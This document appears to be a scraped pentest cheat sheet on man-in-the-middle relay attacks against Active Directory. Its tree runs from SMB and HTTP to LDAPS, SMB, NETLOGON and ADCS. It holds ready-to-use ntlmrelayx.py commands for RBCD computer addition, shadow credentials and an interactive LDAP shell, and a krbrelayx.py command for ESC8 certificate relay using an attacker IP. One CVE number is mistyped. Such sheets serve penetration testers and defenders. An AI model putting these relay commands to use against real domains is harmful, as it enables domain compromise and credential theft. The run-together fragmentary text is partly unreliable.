Man In The Middle (Listen and Relay)
12 cmds- MS08-068 self relaycve
- SMB -> LDAP(S)
- NTLMv1
- remove mic (no CVE needed)see LDAP(S)
- NTLMv2
- HTTP(S) -> LDAP(S)
- Usually from webdav coercesee LDAP(S)
- To LDAP(S)
- Relay to LDAP if LDAP signing and LDAPS channel binding not enforced (default)
ntlmrelayx.py -t ldaps://<dc_ip> --remove-mic -smb2support --add-computer <computer_name> <computer_password> --delegate-accessRBCD
ntlmrelayx.py -t ldaps://<dc_ip> --remove-mic -smb2support --shadow-credentials --shadow-target '<dc_name$>'Shadow Credentials
ntlmrelayx.py -t ldaps://<dc_ip> --remove-mic -smb2support --interactive # connect to ldap_shell with nc 127.0.0.1 10111LDAP SHELL
- To SMB
- Relay to SMB (if SMB is not signed)
- Find SMB not signed targets (default if not a Domain controler)
- To HTTP
- To MsSQL
- SMB -> NETLOGON
- Zero-Logon (safe method) (CVE-202-1472)cve
- Relay one dc to another
- To HTTP
krbrelayx.py -t 'http://<pki>/certsrv/certfnsh.asp' --adcs --template DomainController -v '<target_netbios>$' -ip <attacker_ip>ESC8
- SMB -> SMB
- same as NTLM relay, use krbrelayx.py
- SMB -> LDAP(S)
- same as NTLM relay, use krbrelayx.py